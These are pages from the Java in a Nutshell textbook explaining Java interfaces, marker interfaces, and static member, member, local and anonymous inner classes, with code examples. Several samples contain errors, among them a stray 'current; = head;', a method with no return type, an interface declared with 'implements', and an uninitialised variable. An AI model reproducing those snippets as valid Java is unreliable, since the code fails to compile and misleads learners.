  • An interface contains no implementation whatsoever. All methods of an interface are implicitly abstract, even if the abstract modifier is omitted. Interface methods have no implementation; a semicolon appears in place of the method body. Because interfaces can contain only abstract methods, and class methods cannot be abstract, the methods of an interface must all be instance methods.

  • An interface defines a public API. All methods of an interface are implicitly public, even if the public modifier is omitted. It is an error to define a protected or private method in an interface.

  • Although a class defines data and methods that operate on that data, an interface cannot define instance fields. Fields are an implementation detail, and an interface is a pure specification without any implementation. The only fields allowed in an interface definition are constants that are declared both static and final.

  • An interface cannot be instantiated, so it does not define a constructor.

Example 3-6 shows the definition of an interface named Centered. This interface defines the methods a Shape subclass should implement if it knows the x,y coordinate of its center point.

Example 3-6. An Interface Definition

public interface Centered {
  public void setCenter(double x, double y);
  public double getCenterX();
  public double getCenterY();
}

3.7.2. Implementing an Interface

Just as a class uses extends to specify its superclass, it can use implements to name one or more interfaces it supports. implements is a Java keyword that can appear in a class declaration following the extends clause. implements should be followed by the name or names of the interface(s) the class implements, with multiple names separated by commas.

When a class declares an interface in its implements clause, it is saying that it provides an implementation (i.e., a body) for each method of that interface. If a class implements an interface but does not provide an implementation for every interface method, it inherits those unimplemented abstract methods from the interface and must itself be declared abstract. If a class implements more than one interface, it must implement every method of each interface it implements (or be declared abstract).

Example 3-7 shows how we can define a CenteredRectangle class that extends our Rectangle class and implements the Centered interface we defined in Example 3-6.

Example 3-7. Implementing an Interface

public class CenteredRectangle extends Rectangle implements Centered {
  // New instance fields
  private double cx, cy;

  // A constructor
  public CenteredRectangle(double cx, double cy, double w, double h) {
    super(w, h);
    this.cx = cx;
    this.cy = cy;
  }

  // We inherit all the methods of Rectangle, but must
  // provide implementations of all the Centered methods.
  public void setCenter(double x, double y) { cx = x; cy = y; }
  public double getCenterX() { return cx; }
  public double getCenterY() { return cy; }
}

As I noted earlier, constants can appear in an interface definition. Any class that implements the interface inherits the constants and can use them as if they were defined directly in the class. There is no need to prefix them with the name of the interface or provide any kind of implementation of the constants. When you have a set of constants used by more than one class (e.g., a port number and other protocol constants used by a client and server), it can be convenient to define the necessary constants in an interface that contains no methods. Then, any class that wants to use those constants needs only to declare that it implements the interface. java.io.ObjectStreamConstants is just such an interface.

3.7.3. Using Interfaces

Suppose we implement CenteredCircle and CenteredSquare just as we implemented CenteredRectangle in Example 3-7. Since each class extends Shape, instances of the classes can be treated as instances of the Shape class, as we saw earlier. Since each class implements Centered, instances can also be treated as instances of that type. The following code demonstrates both techniques:

Shape[] shapes = new Shape[3];          // Create an array to hold shapes

// Create some centered shapes, and store them in the Shape[]
// No cast necessary: these are all widening conversions
shapes[0] = new CenteredCircle(1.0, 1.0, 1.0);
shapes[1] = new CenteredSquare(2.5, 2, 3);
shapes[2] = new CenteredRectangle(2.3, 4.5, 3, 4);

// Compute average area of the shapes and average distance from the origin
double totalArea = 0;
double totalDistance;
for(int i = 0; i < shapes.length; i++) {
  totalArea += shapes[i].area();       // Compute the area of the shapes
  if (shapes[i] instanceof Centered) { // The shape is a Centered shape
    // Note the required cast from Shape to Centered (no cast
    // would be required to go from CenteredSquare to Centered, however).
    Centered c = (Centered) shapes[i]; // Assign it to a Centered variable
    double cx = c.getCenterX();        // Get coordinates of the center
    double cy = c.getCenterY();        // Compute distance from origin
    totalDistance += Math.sqrt(cx*cx + cy*cy);
  }
}
System.out.println("Average area: " + totalArea/shapes.length);
System.out.println("Average distance: " + totalDistance/shapes.length);

This example demonstrates that interfaces are data types in Java, just like classes. When a class implements an interface, instances of that class can be assigned to variables of the interface type. Don't interpret this example, however, to imply that you must assign a CenteredRectangle object to a Centered variable before you can invoke the setCenter() method or to a Shape variable before you can invoke the area() method. CenteredRectangle defines setCenter() and inherits area() from its Rectangle superclass, so you can always invoke these methods.

3.7.4. When to Use Interfaces

When defining an abstract type (e.g., Shape) that you expect to have many sub-types (e.g., Circle, Rectangle, Square), you are often faced with a choice between interfaces and abstract classes. Since they have similar features, it is not always clear when to use one over the other.

An interface is useful because any class can implement it, even if that class extends some entirely unrelated superclass. But an interface is a pure API specification and contains no implementation. If an interface has numerous methods, it can become tedious to implement the methods over and over, especially when much of the implementation is duplicated by each implementing class.

On the other hand, a class that extends an abstract class cannot extend any other class, which can cause design difficulties in some situations. However, an abstract class does not need to be entirely abstract; it can contain a partial implementation that subclasses can take advantage of. In some cases, numerous subclasses can rely on default method implementations provided by an abstract class.

Another important difference between interfaces and abstract classes has to do with compatibility. If you define an interface as part of a public API and then later add a new method to the interface, you break any classes that implemented the previous version of the interface. If you use an abstract clas, however, you can safely add nonabstract methods to that class without requiring modifications to existing classes that extend the abstract class.

In some situations, it will be clear that an interface or an abstract class is the right design choice. In other cases, a common design pattern is to use both. First, define the type as a totally abstract interface. Then create an abstract class that implements the interface and provides useful default implementations subclasses can take advantage of. For example:

// Here is a basic interface. It represents a shape that fits inside
// of a rectangular bounding box. Any class that wants to serve as a
// RectangularShape can implement these methods from scratch.
public interface RectangularShape {
  public void setSize(double width, double height);
  public void setPosition(double x, double y);
  public void translate(double dx, double dy);
  public double area();
  public boolean isInside();
}

// Here is a partial implementation of that interface. Many
// implementations may find this a useful starting point.
public abstract class AbstractRectangularShape implements RectangularShape {
  // The position and size of the shape
  protected double x, y, w, h;

  // Default implementations of some of the interface methods
  public void setSize(double width, double height) { w = width; h = height; }
  public void setPosition(double x, double y) { this.x = x; this.y = y; }
  public void translate (double dx, double dy) { x += dx; y += dy; }
}

3.7.5. Implementing Multiple Interfaces

Suppose we want shape objects that can be positioned in terms of not only their center points, but also their upper-left corners. And suppose we also want shapes that can be scaled larger and smaller. Remember that although a class can extend only a single superclass, it can implement any number of interfaces. Assuming we have defined appropriate UpperRightCornered and Scalable interfaces, we can declare a class as follows:

public class SuperDuperSquare extends Shape
       implements Centered, UpperRightCornered, Scalable {
   // class members omitted here.
}

When a class implements more than one interface, it simply means that it must provide implementations for all abstract methods in all its interfaces.

3.7.6. Extending Interfaces

Interfaces can have subinterfaces, just as classes can have subclasses. A subinterface inherits all the abstract methods and constants of its superinterface and can define new abstract methods and constants. Interfaces are different from classes in one very important way, however: an interface can have an extends clause that lists more than one superinterface. For example, here are some interfaces that extend other interfaces:

public interface Positionable extends Centered {
  public setUpperRightCorner(double x, double y);
  public double getUpperRightX();
  public double getUpperRightY();
}
public interface Transformable extends Scalable, Translatable, Rotatable {}
public interface SuperShape implements Positionable, Transformable {}

An interface that extends more than one interface inherits all the abstract methods and constants from each of those interfaces and can define its own additional abstract methods and constants. A class that implements such an interface must implement the abstract methods defined directly by the interface, as well as all the abstract methods inherited from all the superinterfaces.

3.7.7. Marker Interfaces

Sometimes it is useful to define an interface that is entirely empty. A class can implement this interface simply by naming it in its implements clause without having to implement any methods. In this case, any instances of the class become valid instances of the interface. Java code can check whether an object is an instance of the interface using the instanceof operator, so this technique is a useful way to provide additional information about an object. The Cloneable interface in java.lang is an example of this type of marker interface. It defines no methods, but identifies the class as one that allows its internal state to be cloned by the clone() method of the Object class. As of Java 1.1, java.io.Serializable is another such marker interface. Given an arbitrary object, you can determine whether it has a working clone() method with code like this:

Object o;     // Initialized elsewhere
Object copy;
if (o instanceof Cloneable) copy = o.clone();
else copy = null;
Previous | Home | Next
3.6. Abstract Classes and Methods | Book Index | 3.8. Inner Class Overview
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Inner Class Overview (Java in a Nutshell)

 Java Enterprise in a Nutshell Search this book

3.8. Inner Class Overview

The classes and interfaces we have seen so far in this chapter have all been top-level classes (i.e., they are direct members of packages, not nested within any other classes). Starting in Java 1.1, however, there are four other types of classes, loosely known as inner classes, that can be defined in a Java program. Used correctly, inner classes are an elegant and powerful feature of the Java language. These four types of classes are summarized here:

Static member classes

A static member class is a class (or interface) defined as a static member of another class. A static method is called a class method, so, by analogy, we could call this type of inner class a "class class," but this terminology would obviously be confusing. A static member class behaves much like an ordinary top-level class, except that it can access the static members of the class that contains it. Interfaces can be defined as static members of classes.

Member classes

A member class is also defined as a member of an enclosing class, but is not declared with the static modifier. This type of inner class is analogous to an instance method or field. An instance of a member class is always associated with an instance of the enclosing class, and the code of a member class has access to all the fields and methods (both static and non-static) of its enclosing class. There are several features of Java syntax that exist specifically to work with the enclosing instance of a member class. Interfaces can only be defined as static members of a class, not as non-static members.

Local classes

A local class is a class defined within a block of Java code. Like a local variable, a local class is visible only within that block. Although local classes are not member classes, they are still defined within an enclosing class, so they share many of the features of member classes. Additionally, however, a local class can access any final local variables or parameters that are accessible in the scope of the block that defines the class. Interfaces cannot be defined locally.

Anonymous classes

An anonymous class is a kind of local class that has no name; it combines the syntax for class definition with the syntax for object instantiation. While a local class definition is a Java statement, an anonymous class definition (and instantiation) is a Java expression, so it can appear as part of a larger expression, such as method invocation. Interfaces cannot be defined anonymously.

Java programmers have not reached a consensus on the appropriate names for the various kinds of inner classes. Thus, you may find them referred to by different names in different situations. In particular, static member classes are sometimes called "nested top-level" classes, and the term "nested classes" may refer to all types of inner classes. The term "inner classes" is itself overloaded and sometimes refers specifically to member classes. On other occasions, "inner classes" refers to member classes, local classes, and anonymous classes, but not static member classes. In this book, I use "inner class" to mean any class other than a standard top-level class and the names shown previously to refer to the individual types of inner classes.

Previous | Home | Next
3.7. Interfaces | Book Index | 3.9. Static Member Classes
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Static Member Classes (Java in a Nutshell)

 Java Enterprise in a Nutshell Search this book

3.9. Static Member Classes

A static member class (or interface) is much like a regular top-level class (or interface). For convenience, however, it is nested within another class or interface. Example 3-8 shows a helper interface defined as a static member of a containing class. The example also shows how this interface is used both within the class that contains it and by external classes. Note the use of its hierarchical name in the external class.

Example 3-8. Defining and Using a Static Member Interface

// A class that implements a stack as a linked list
public class LinkedStack {
  // This static member interface defines how objects are linked
  public static interface Linkable {
    public Linkable getNext();
    public void setNext(Linkable node);
  }

  // The head of the list is a Linkable object
  Linkable head;

  // Method bodies omitted
  public void push(Linkable node) { ... }
  public Object pop() { ... }
}

// This class implements the static member interface
class LinkableInteger implements LinkedStack.Linkable {
  // Here's the node's data and constructor
  int i;
  public LinkableInteger(int i) { this.i = i; }

  // Here are the data and methods required to implement the interface
  LinkedStack.Linkable next;
  public LinkedStack.Linkable getNext() { return next; }
  public void setNext(LinkedStack.Linkable node) { next = node; }
}

3.9.1. Features of Static Member Classes

A static member class or interface is defined as a static member of a containing class, making it analogous to the class fields and methods that are also declared static. Like a class method, a static member class is not associated with any instance of the containing class (i.e., there is no this object). A static member class does, however, have access to all the static members (including any other static member classes and interfaces) of its containing class. A static member class can use any other static member without qualifying its name with the name of the containing class.

A static member class has access to all static members of its containing class, including private members. The reverse is true as well: the methods of the containing class have access to all members of a static member class, including the private members. A static member class even has access to all the members of any other static member classes, including the private members of those classes.

Since static member classes are themselves class members, a static member class can be declared with its own access control modifiers. These modifiers have the same meanings for static member classes as they do for other members of a class. In Example 3-8, the Linkable interface is declared public, so it can be implemented by any class that is interested in being stored on a LinkedStack.

3.9.2. Restrictions on Static Member Classes

A static member class cannot have the same name as any of its enclosing classes. In addition, static member classes and interfaces can be defined only within top-level classes and other static member classes and interfaces. This is actually part of a larger prohibition against static members of any sort within member, local, and anonymous classes.

3.9.3. New Syntax for Static Member Classes

In code outside of the containing class, a static member class or interface is named by combining the name of the outer class with the name of the inner class (e.g., LinkedStack.Linkable). You can use the import directive to import a static member class:

import LinkedStack.Linkable;  // Import a specific inner class
import LinkedStack.*;         // Import all inner classes of LinkedStack

Importing inner classes is not recommended, however, because it obscures the fact that the inner class is tightly associated with its containing class.

Previous | Home | Next
3.8. Inner Class Overview | Book Index | 3.10. Member Classes
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Member Classes (Java in a Nutshell)

 Java Enterprise in a Nutshell Search this book

3.10. Member Classes

A member class is a class that is declared as a non-static member of a containing class. If a static member class is analogous to a class field or class method, a member class is analogous to an instance field or instance method. Example 3-9 shows how a member class can be defined and used. This example extends the previous LinkedStack example to allow enumeration of the elements on the stack by defining an enumerate() method that returns an implementation of the java.util.Enumeration interface. The implementation of this interface is defined as a member class.

Example 3-9. An Enumeration Implemented as a Member Class

public class LinkedStack {
  // Our static member interface; body omitted here...
  public static interface Linkable { ... }

  // The head of the list
  private Linkable head;

  // Method bodies omitted here
  public void push(Linkable node) { ... }
  public Linkable pop() { ... }

  // This method returns an Enumeration object for this LinkedStack
public java.util.Enumeration enumerate() { return new Enumerator(); }

  // Here is the implementation of the Enumeration interface,
  // defined as a member class.
  protected class Enumerator implements java.util.Enumeration {
    Linkable current;
    // The constructor uses the private head field of the containing class
public Enumerator() { current = head; }
    public boolean hasMoreElements() {  return (current != null); }
    public Object nextElement() {
      if (current == null) throw new java.util.NoSuchElementException();
      Object value = current;
      current = current.getNext();
      return value;
    }
  }
}

Notice how the Enumerator class is nested within the LinkedStack class. Since Enumerator is a helper class used only within LinkedStack, there is a real elegance to having it defined so close to where it is used by the containing class.

3.10.1. Features of Member Classes

Like instance fields and instance methods, every member class is associated with an instance of the class within which it is defined (i.e., every instance of a member class is associated with an instance of the containing class). This means that the code of a member class has access to all the instance fields and instance methods (as well as the static members) of the containing class, including any that are declared private.

This crucial feature is illustrated in Example 3-9. Here is the body of the LinkedStack.Enumerator() constructor again:

current = head;

This single line of code sets the current field of the inner class to the value of the head field of the containing class. The code works as shown, even though head is declared as a private field in the containing class.

A member class, like any member of a class, can be assigned one of three visibility levels: public, protected, or private. If none of these visibility modifiers is specified, the default package visibility is used. In Example 3-9, the Enumerator class is declared protected, so it is inaccessible to code using the LinkedStack class, but accessible to any class that subclasses LinkedStack.

3.10.2. Restrictions on Member Classes

There are three important restrictions on member classes:

  • A member class cannot have the same name as any containing class or package. This is an important rule, and one not shared by fields and methods.

  • Member classes cannot contain any static fields, methods, or classes (with the exception of constant fields declared both static and final). static fields, methods, and classes are top-level constructs not associated with any particular object, while every member class is associated with an instance of its enclosing class. Defining a static top-level member within a non-top-level member class simply promotes confusion and bad programming style, so you are required to define all static members within a top-level or static member class or interface.

  • Interfaces cannot be defined as member classes. An interface cannot be instantiated, so there is no object to associate with an instance of the enclosing class. If you declare an interface as a member of a class, the interface is implicitly static, making it a static member class.

3.10.3. New Syntax for Member Classes

The most important feature of a member class is that it can access the instance fields and methods in its containing object. We saw this in the LinkedStack.Enumerator() constructor of Example 3-9:

public Enumerator() { current = head; }

In this example, head is a field of the LinkedStack class, and we assign it to the current field of the Enumerator class. The current code works, but what if we want to make these references explicit? We could try code like this:

public Enumerator() { this.current = this.head; }

This code does not compile, however. this.current is fine; it is an explicit reference to the current field in the newly created Enumerator object. It is the this.head expression that causes the problem; it refers to a field named head in the Enumerator object. Since there is no such field, the compiler generates an error. To solve this problem, Java defines a special syntax for explicitly referring to the containing instance of the this object. Thus, if we want to be explicit in our constructor, we can use the following syntax:

public Enumerator() { this.current = LinkedStack.this.head; }

The general syntax is classname.this, where classname is the name of a containing class. Note that member classes can themselves contain member classes, nested to any depth. Since no member class can have the same name as any containing class, however, the use of the enclosing class name prepended to this is a perfectly general way to refer to any containing instance. This syntax is needed only when referring to a member of a containing class that is hidden by a member of the same name in the member class.

3.10.3.1. Accessing superclass members of the containing class

When a class shadows or overrides a member of its superclass, you can use the keyword super to refer to the hidden member. This super syntax can be extended to work with member classes as well. On the rare occasion when you need to refer to a shadowed field f or an overridden method m of a superclass of a containing class C, use the following expressions:

C.super.f
C.super.m()

This syntax was not implemented by Java 1.1 compilers, but it works correctly as of Java 1.2.

3.10.3.2. Specifying the containing instance

As we've seen, every instance of a member class is associated with an instance of its containing class. Look again at our definition of the enumerate() method in Example 3-9:

public Enumeration enumerate() { return new Enumerator(); }

When a member class constructor is invoked like this, the new instance of the member class is automatically associated with the this object. This is what you would expect to happen and exactly what you want to occur in most cases. Occasionally, however, you may want to specify the containing instance explicitly when instantiating a member class. You can do this by preceding the new operator with a reference to the containing instance. Thus, the enumerate() method shown above is shorthand for the following:

public Enumeration enumerate() { return this.new Enumerator(); }

Let's pretend we didn't define an enumerate() method for LinkedStack. In this case, the code to obtain an Enumerator object for a given LinkedStack object might look like this:

LinkedStack stack = new LinkedStack();    // Create an empty stack
Enumeration e = stack.new Enumerator();   // Create an Enumeration for it

The containing instance implicitly specifies the name of the containing class; it is a syntax error to explicitly specify that containing class:

Enumeration e = stack.new LinkedStack.Enumerator();  // Syntax error

There is one other special piece of Java syntax that specifies an enclosing instance for a member class explicitly. Before we consider it, however, let me point out that you should rarely, if ever, need to use this syntax. It is one of the pathological cases that snuck into the language along with all the elegant features of inner classes.

As strange as it may seem, it is possible for a top-level class to extend a member class. This means that the subclass does not have a containing instance, but its superclass does. When the subclass constructor invokes the superclass constructor, it must specify the containing instance. It does this by prepending the containing instance and a period to the super keyword. If we had not declared our Enumerator class to be a protected member of LinkedStack, we could subclass it. Although it is not clear why we would want to do so, we could write code like the following:

// A top-level class that extends a member class
class SpecialEnumerator extends LinkedStack.Enumerator {
  // The constructor must explicitly specify a containing instance
  // when invoking the superclass constructor.
  public SpecialEnumerator(LinkedStack s) { s.super(); }
    // Rest of class omitted...
}

3.10.4. Scope Versus Inheritance for Member Classes

We've just noted that a top-level class can extend a member class. With the introduction of member classes, there are two separate hierarchies that must be considered for any class. The first is the classhierarchy, from superclass to subclass, that defines the fields and methods a member class inherits. The second is the containmenthierarchy, from containing class to contained class, that defines a set of fields and methods that are in the scope of (and are therefore accessible to) the member class.

The two hierarchies are entirely distinct from each other; it is important that you do not confuse them. This should not be a problem if you refrain from creating naming conflicts, where a field or method in a superclass has the same name as a field or method in a containing class. If such a naming conflict does arise, however, the inherited field or method takes precedence over the field or method of the same name in the containing class. This behavior is logical: when a class inherits a field or method, that field or method effectively becomes part of that class. Therefore, inherited fields and methods are in the scope of the class that inherits them and take precedence over fields and methods by the same name in enclosing scopes.

Because this can be quite confusing, Java does not leave it to chance that you get it right. Whenever there is a naming conflict between an inherited field or method and a field or method in a containing class, Java requires that you explicitly specify which one you mean. For example, if a member class B inherits a field named x and is contained within a class A that also defines a field named x, you must use this.x to specify the inherited field and A.this.x to specify the field in the containing class. Any attempt to use the field x without an explicit specification of the desired instance causes a compilation error.

A good way to prevent confusion between the class hierarchy and the containment hierarchy is to avoid deep containment hierarchies. If a class is nested more than two levels deep, it is probably going to cause more confusion than it is worth. Furthermore, if a class has a deep class hierarchy (i.e., it has many superclass ancestors), consider defining it as a top-level class, rather than as a member class.

Previous | Home | Next
3.9. Static Member Classes | Book Index | 3.11. Local Classes
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Local Classes (Java in a Nutshell)

 Java Enterprise in a Nutshell Search this book

3.11. Local Classes

A local class is declared locally within a block of Java code, rather than as a member of a class. Typically, a local class is defined within a method, but it can also be defined within a static initializer or instance initializer of a class. Because all blocks of Java code appear within class definitions, all local classes are nested within containing classes. For this reason, local classes share many of the features of member classes. It is usually more appropriate, however, to think of them as an entirely separate kind of inner class. A local class has approximately the same relationship to a member class as a local variable has to an instance variable of a class.

The defining characteristic of a local class is that it is local to a block of code. Like a local variable, a local class is valid only within the scope defined by its enclosing block. If a member class is used only within a single method of its containing class, for example, there is usually no reason it cannot be coded as a local class, rather than a member class. Example 3-10 shows how we can modify the enumerate() method of the LinkedStack class so it defines Enumerator as a local class instead of a member class. By doing this, we move the definition of the class even closer to where it is used and hopefully improve the clarity of the code even further. For brevity, Example 3-10 shows only the enumerate() method, not the entire LinkedStack class that contains it.

Example 3-10. Defining and Using a Local Class

// This method creates and returns an Enumeration object
public java.util.Enumeration enumerate() {

  // Here's the definition of Enumerator as a local class
  class Enumerator implements java.util.Enumeration {
    Linkable current;
    public Enumerator() { current = head; }
    public boolean hasMoreElements() {  return (current != null); }
    public Object nextElement() {
      if (current == null) throw new java.util.NoSuchElementException();
      Object value = current;
      current = current.getNext();
      return value;
    }
  }

  // Now return an instance of the Enumerator class defined directly above
  return new Enumerator();
}

3.11.1. Features of Local Classes

Local classes have the following interesting features:

  • Like member classes, local classes are associated with a containing instance, and can access any members, including private members, of the containing class.

  • In addition to accessing fields defined by the containing class, local classes can access any local variables, method parameters, or exception parameters that are in the scope of the local method definition and declared final.

3.11.2. Restrictions on Local Classes

Local classes are subject to the following restrictions:

  • A local class is visible only within the block that defines it; it can never be used outside that block.

  • Local classes cannot be declared public, protected, private, or static. These modifiers are for members of classes; they are not allowed with local variable declarations or local class declarations.

  • Like member classes, and for the same reasons, local classes cannot contain static fields, methods, or classes. The only exception is for constants that are declared both static and final.

  • Interfaces cannot be defined locally.

  • A local class, like a member class, cannot have the same name as any of its enclosing classes.

  • As noted earlier, a local class can use the local variables, method parameters, and even exception parameters that are in its scope, but only if those variables or parameters are declared final. This is because the lifetime of an instance of a local class can be much longer than the execution of the method in which the class is defined. For this reason, a local class must have a private internal copy of all local variables it uses (these copies are automatically generated by the compiler). The only way to ensure that the local variable and the private copy are always the same is to insist that the local variable is final.

3.11.3. New Syntax for Local Classes

In Java 1.0, only fields, methods, and classes can be declared final. The addition of local classes in Java 1.1 has required a liberalization in the use of the final modifier. It can now be applied to local variables, method parameters, and even the exception parameter of a catch statement. The meaning of the final modifier remains the same in these new uses: once the local variable or parameter has been assigned a value, that value cannot be changed.

Instances of local classes, like instances of member classes, have an enclosing instance that is implicitly passed to all constructors of the local class. Local classes can use the same this syntax as member classes, to refer explicitly to members of enclosing classes. Because local classes are never visible outside the blocks that define them, however, there is never a need to use the new and super syntax used by member classes to specify the enclosing instance explicitly.

3.11.4. Scope of a Local Class

In discussing member classes, we saw that a member class can access any members inherited from superclasses and any members defined by its containing classes. The same is true for local classes, but local classes can also access final local variables and parameters. The following code illustrates the many fields and variables that may be accessible to a local class:

class A { protected char a = 'a'; }
class B { protected char b = 'b'; }

public class C extends A {
  private char c = 'c';         // Private fields visible to local class
  public static char d = 'd';
  public void createLocalObject(final char e)
  {
    final char f = 'f';
    int i = 0;                  // i not final; not usable by local class
    class Local extends B
    {
      char g = 'g';
      public void printVars()
      {
        // All of these fields and variables are accessible to this class
        System.out.println(g);  // (this.g) g is a field of this class
        System.out.println(f);  // f is a final local variable
        System.out.println(e);  // e is a final local parameter
        System.out.println(d);  // (C.this.d) d -- field of containing class
        System.out.println(c);  // (C.this.c) c -- field of containing class
        System.out.println(b);  // b is inherited by this class
        System.out.println(a);  // a is inherited by the containing class
      }
    }
    Local l = new Local();      // Create an instance of the local class
    l.printVars();              // and call its printVars() method.
  }
}

3.11.5. Local Classes and Local Variable Scope

A local variable is defined within a block of code, which defines its scope. A local variable ceases to exist outside of its scope. Java is a lexically scoped language, which means that its concept of scope has to do with the way the source code is written. Any code within the curly braces that define the boundaries of a block can use local variables defined in that block.[9]

[9] This section covers advanced material; first-time readers may want to skip it for now and return to it later.

Lexical scoping simply defines a segment of source code within which a variable can be used. It is common, however, to think of a scope as a temporal scope--to think of a local variable as existing from the time the Java interpreter begins executing the block until the time the interpreter exits the block. This is usually a reasonable way to think about local variables and their scope.

The introduction of local classes confuses the picture, however, because local classes can use local variables, and instances of a local class can have a lifetime much longer than the time it takes the interpreter to execute the block of code. In other words, if you create an instance of a local class, the instance does not automatically go away when the interpreter finishes executing the block that defines the class, as shown in the following code:

public class Weird {
  // A static member interface used below
  public static interface IntHolder { public int getValue(); }

  public static void main(String[] args) {
    IntHolder[] holders = new IntHolder[10];   // An array to hold 10 objects
    for(int i = 0; i < 10; i++) {              // Loop to fill the array up
      final int fi = i;                        // A final local variable
      class MyIntHolder implements IntHolder { // A local class
    public int getValue() { return fi; }  // It uses the final variable
      }
      holders[i] = new MyIntHolder();          // Instantiate the local class
    }

    // The local class is now out of scope, so we can't use it. But
    // we've got ten valid instances of that class in our array. The local
    // variable fi is not in our scope here, but it is still in scope for
    // the getValue() method of each of those ten objects. So call getValue()
    // for each object and print it out. This prints the digits 0 to 9.
    for(int i = 0; i < 10; i++) System.out.println(holders[i].getValue());
  }
}

The behavior of the previous program is pretty surprising. To make sense of it, remember that the lexical scope of the methods of a local class has nothing to do with when the interpreter enters and exits the block of code that defines the local class. Here's another way to think about it: each instance of a local class has an automatically created private copy of each of the final local variables it uses, so, in effect, it has its own private copy of the scope that existed when it was created.

Previous | Home | Next
3.10. Member Classes | Book Index | 3.12. Anonymous Classes
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Anonymous Classes (Java in a Nutshell)

 Java Enterprise in a Nutshell Search this book

3.12. Anonymous Classes

An anonymous class is a local class without a name. An anonymous class is defined and instantiated in a single succinct expression using the new operator. While a local class definition is a statement in a block of Java code, an anonymous class definition is an expression, which means that it can be included as part of a larger expression, such as a method call. When a local class is used only once, consider using anonymous class syntax, which places the definition and use of the class in exactly the same place.

Consider Example 3-11, which shows the Enumeration class implemented as an anonymous class within the enumerate() method of the LinkedStack class. Compare it with Example 3-10, which shows the same class implemented as a local class.

Example 3-11. An Enumeration Implemented with an Anonymous Class

public java.util.Enumeration enumerate() {
  // The anonymous class is defined as part of the return statement
  return new java.util.Enumeration() {
    Linkable current; = head;
    { current = head; }  // Replace constructor with an instance initializer
    public boolean hasMoreElements() {  return (current != null); }
    public Object nextElement() {
      if (current == null) throw new java.util.NoSuchElementException();
      Object value = current;
      current = current.getNext();
      return value;
    }
  };  // Note the required semicolon: it terminates the return statement
}

One common use for an anonymous class is to provide a simple implementation of an adapter class. An adapter class is one that defines code that is invoked by some other object. Take, for example, the list() method of the java.io.File class. This method lists the files in a directory. Before it returns the list, though, it passes the name of each file to a FilenameFilter object you must supply. This FilenameFilter object accepts or rejects each file. When you implement the FilenameFilter interface, you are defining an adapter class for use with the File.list() method. Since the body of such a class is typically quite short, it is easy to define an adapter class as an anonymous class. Here's how you can define a FilenameFilter class to list only those files whose names end with .java :

File f = new File("/src");      // The directory to list

// Now call the list() method with a single FilenameFilter argument
// Define and instantiate an anonymous implementation of FilenameFilter
// as part of the method invocation expression.
String[] filelist = f.list(new FilenameFilter() {
  public boolean accept(File f, String s) { return s.endsWith(".java"); }
}); // Don't forget the parenthesis and semicolon that end the method call!

As you can see, the syntax for defining an anonymous class and creating an instance of that class uses the new keyword, followed by the name of a class and a class body definition in curly braces. If the name following the new keyword is the name of a class, the anonymous class is a subclass of the named class. If the name following new specifies an interface, as in the two previous examples, the anonymous class implements that interface and extends Object. The syntax does not include any way to specify an extends clause, an implements clause, or a name for the class.

Because an anonymous class has no name, it is not possible to define a constructor for it within the class body. This is one of the basic restrictions on anonymous classes. Any arguments you specify between the parentheses following the superclass name in an anonymous class definition are implicitly passed to the superclass constructor. Anonymous classes are commonly used to subclass simple classes that do not take any constructor arguments, so the parentheses in the anonymous class definition syntax are often empty. In the previous examples, each anonymous class implemented an interface and extended Object. Since the Object() constructor takes no arguments, the parentheses were empty in those examples.

3.12.1. Features of Anonymous Classes

One of the most elegant things about anonymous classes is that they allow you to define a one-shot class exactly where it is needed. In addition, anonymous classes have a succinct syntax that reduces clutter in your code.

3.12.2. Restrictions on Anonymous Classes

Because an anonymous class is just a type of local class, anonymous classes and local classes share the same restrictions. An anonymous class cannot define any static fields, methods, or classes, except for staticfinal constants. Interfaces cannot be defined anonymously, since there is no way to implement an interface without a name. Also, like local classes, anonymous classes cannot be public, private, protected, or static.

Since an anonymous class has no name, it is not possible to define a constructor for an anonymous class. If your class requires a constructor, you must use a local class instead. However, you can often use an instance initializer as a substitute for a constructor. In fact, instance initializers were introduced into the language for this very purpose.

The syntax for defining an anonymous class combines definition with instantiation. Thus, using an anonymous class instead of a local class is not appropriate if you need to create more than a single instance of the class each time the containing block is executed.

3.12.3. New Syntax for Anonymous Classes

We've already seen examples of the syntax for defining and instantiating an anonymous class. We can express that syntax more formally as:

new class-name ( [ argument-list ] ) { class-body }

or:

new interface-name () { class-body }

As I already mentioned, instance initializers are another specialized piece of Java syntax that was introduced to support anonymous classes. As we discussed earlier in the chapter, an instance initializer is a block of initialization code contained within curly braces inside a class definition. The contents of an instance initializer for a class are automatically inserted into all constructors for the class, including any automatically created default constructor. An anonymous class cannot define a constructor, so it gets a default constructor. By using an instance initializer, you can get around the fact that you cannot define a constructor for an anonymous class.

3.12.4. When to Use an Anonymous Class

As we've discussed, an anonymous class behaves just like a local class and is distinguished from a local class merely in the syntax used to define and instantiate it. In your own code, when you have to choose between using an anonymous class and a local class, the decision often comes down to a matter of style. You should use whichever syntax makes your code clearer. In general, you should consider using an anonymous class instead of a local class if:

  • The class has a very short body.

  • Only one instance of the class is needed.

  • The class is used right after it is defined.

  • The name of the class does not make your code any easier to understand.

3.12.5. Anonymous Class Indentation and Formatting

The common indentation and formatting conventions we are familiar with for block-structured languages like Java and C begin to break down somewhat once we start placing anonymous class definitions within arbitrary expressions. Based on their experience with inner classes, the engineers at Sun recommend the following formatting rules:

  • The opening curly brace should not be on a line by itself; instead, it should follow the close parenthesis of the new operator. Similarly, the new operator should, when possible, appear on the same line as the assignment or other expression of which it is a part.

  • The body of the anonymous class should be indented relative to the beginning of the line that contains the new keyword.

  • The closing curly brace of an anonymous class should not be on a line by itself either; it should be followed by whatever tokens are required by the rest of the expression. Often this is a semicolon or a close parenthesis followed by a semicolon. This extra punctuation serves as a flag to the reader that this is not just an ordinary block of code and makes it easier to understand anonymous classes in a code listing.

Previous | Home | Next
3.11. Local Classes | Book Index | 3.13. How Inner Classes Work
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


How Inner Classes Work (Java in a Nutshell)

 Java Enterprise in a Nutshell Search this book

3.13. How Inner Classes Work

The preceding sections have explained the features and behavior of the various types of inner classes. Strictly speaking, that should be all you need to know about inner classes. In practice, however, some programmers find it easier to understand the details of inner classes if they understand how they are implemented.

